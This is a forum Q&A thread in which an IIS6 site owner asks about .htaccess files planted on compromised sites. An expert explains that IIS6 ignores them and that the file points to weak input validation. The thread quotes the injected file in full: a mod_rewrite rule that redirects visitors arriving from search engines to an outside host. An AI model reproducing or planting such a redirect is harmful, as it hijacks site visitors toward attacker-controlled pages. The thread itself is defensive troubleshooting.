We help IT Professionals succeed at work.

How to disable .htaccess on IIS6 ?

Medium Priority
968 Views
Last Modified: 2012-06-22
Hello experts,

Is there any way to  disable .htaccess on IIS 6 ?

Thanks in advace
Jaimin Patel
Comment
Watch Question

PowerShell Developer
CERTIFIED EXPERT
Top Expert 2010
Commented:

Normally the question is how to enable it since IIS 6 has no support for htaccess. So what are you trying to disable?

Chris

Not the solution you were looking for? Getting a personalized solution is easy.

Ask the Experts

Author

Commented:
Actually we are facing problem of some code injection in to our sites, which causes damage to the sites.

All the sites which are damaged a .htaccess file created in the root folder and the file consits the url rewring code/redirectin code.

We think that this may be cause by .htaccess file.
So we want to stop this.

Jaimin Patel
Chris DentPowerShell Developer
CERTIFIED EXPERT
Top Expert 2010

Commented:

I'd be surprised, you have to make quit a lot of effort to replace the functionality lost by htaccess not working with IIS. Do you have any ISAPI modules installed that might be able to parse the file? Otherwise, does the redirection / rewrite actually work (I would be surprised if you said yes).

Basically, in my opinion stopping a HTAccess file appearing will not fix the underlying problem (it suggests weak input validation within the site), from your description its presence is simply a side-effect of the attack.

Chris

Author

Commented:
This is the .htaccess file which created automaticall.
Can you please explain me what will do it ?

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yahoo.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*yandex.*$ [NC,OR]
 
RewriteCond %{HTTP_REFERER} .*rambler.*$ [NC,OR]
 
RewriteCond %{HTTP_REFERER} .*ya.*$ [NC]
RewriteRule .* http://conservy.info/0/go.php?sid=2 [R,L]
Chris DentPowerShell Developer
CERTIFIED EXPERT
Top Expert 2010

Commented:

Nothing because IIS 6 can't do that (it requires mod_rewrite).

But if it were Apache, it would redirect requests to the URL in RewriteRule if the server variable HTTP_REFERER matched any of the conditions. You could see the contents of the variable using ASP with Request.ServerVariables("HTTP_REFERER").

Chris
Chris DentPowerShell Developer
CERTIFIED EXPERT
Top Expert 2010

Commented:

I object to the deletion. I consider "IIS 6 does not support HTAccess" to be a correct answer, even if it isn't the one you wanted to hear.

Chris
Access more of Experts Exchange with a free account
Thanks for using Experts Exchange.

Create a free account to continue.

Limited access with a free account allows you to:

  • View three pieces of content (articles, solutions, posts, and videos)
  • Ask the experts questions (counted toward content limit)
  • Customize your dashboard and profile

*This site is protected by reCAPTCHA and the Google Privacy Policy and Terms of Service apply.

OR

Please enter a first name

Please enter a last name

8+ characters (letters, numbers, and a symbol)

By clicking, you agree to the Terms of Use and Privacy Policy.